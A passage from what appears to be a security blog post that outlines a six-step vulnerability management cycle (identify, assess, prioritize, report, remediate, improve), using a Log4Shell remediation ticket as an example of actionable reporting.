If we take a look at the definitions above, several terms are being used over and over again. We can summarize Vulnerability Management in 6 steps. As Vulnerability Management is a continuous process, each individual step provides input for subsequent steps. It is important to note that this is a simplified version of Vulnerability Management. The following image illustrates what a Vulnerability Management process can look like:

Figure 1 – Vulnerability Management Process

Identify

Identification of the scope is the first part of the Vulnerability Management cycle. This is an important phase, as you can’t protect what you don’t know. If we take a look at the CIS Critical Security Controls[4], the first step to stop today’s most pervasive and dangerous attacks is to “Actively manage (inventory, track, and correct) all enterprise assets“ – meaning that it is really important for an organization to know what infrastructure they have. The first step in the Vulnerability Management program is to identify all known and unknown assets and start prioritizing them. This can include but is not limited to the following information:

  • Which assets are most critical to the business?
  • Which assets are externally exposed?
  • Which assets have confidential information?

The process of identifying assets can be automized with a combination of discovery scans on the internal network and identification of known and unknown external assets through attack surface management platforms. This phase is a crucial part, as all next steps are based on the scope defined during the identification phase.


Assess

Assessing the infrastructure for weaknesses can be automated through vulnerability scanning with known scanners such as Tenable.IO and Rapid7 However, manual verification might be needed to determine the actual exploitability of vulnerabilities as vulnerability scanners do not cover all security controls in place such as specific workarounds that were implemented to limit the likelihood of exploitation. By using a combination of automated scanners and manual verification of the issues, a comprehensive view on what vulnerabilities are currently affecting your organization can be established.

Prioritize

Some organizations might not prioritize their vulnerabilities obtained by automatic scanners or penetration tests. However, as Seth Godin said: “Data is not useful until it becomes information”. It is the task of the Vulnerability Management team to prioritize the vulnerabilities not only on their actual technical impact but also to keep in mind the business impact. For example, a critical Log4J vulnerability on an externally available and well-known website should be remediated sooner that the same Log4J vulnerability on a lunch-serving testing server that is only accessible from the internal network.

Report

After all issues have been prioritized, an actionable report should be given to the teams that will actually perform the patching/resolving of the issues. It is important for the Vulnerability Management team to keep in mind that they should create actionable tickets or remediating actions for the operations team. A bad example of a ticket can be as follows:

Title: Log4J identified

Description: Log4J was identified on your server

Resolution: Please fix this as soon as possible

A good example of a ticket can be something like this[5]:

Title: Apache Log4j Remote Code Execution (Log4Shell)

Severity: Critical

Estimated Time to Fix: 1 hour

Description: Apache Log4j is an open source Java-based logging framework leveraged within numerous Java applications. Apache Log4j versions 2.0-beta9 to 2.15.0 suffer from insufficient protections on message lookup substitutions when dealing with user controlled input. By crafting a malicious string, an attacker could leverage this issue to achieve a remote code execution on the Log4j instance used by the target application.

Solution: Upgrade Apache to version 2.16.0 or later.

Affected devices: 10.0.0.3, 10.0.9.3

CVE’s: CVE-2021-44228

References: https://logging.apache.org/log4j/2.x/security.html


Remediate

Resolving vulnerabilities should be the goal of the entire Vulnerability Management process, as this will decrease the exposure of your organization. Remediation is a process on its own and might consist of automatic patching, process updates, Group Policy updates, …. With the actionable ticketing performed by the Vulnerability Management team in the previous phase, it should be easy for the operations teams to identify what actions need to be done and how long it will take. After successful remediation, a validation of the remediation should be performed by the Vulnerability Management team. If the issue is resolved, the issue can be closed.

Improve

As Vulnerability Management is a continuous process, it should be reviewed all the time. A Vulnerability Management program was like Rome not built in one day. However, over time a robust and reliable Vulnerability Management process will be in place if the processes are well defined and known within the organization.


[1] https://www.tenable.com/source/vulnerability-management

[2] https://www.rapid7.com/fundamentals/vulnerability-management-and-scanning/

[3] https://www.crowdstrike.com/cybersecurity-101/vulnerability-management/

[4] https://www.cisecurity.org/controls

[5] https://www.tenable.com/plugins/was/113075

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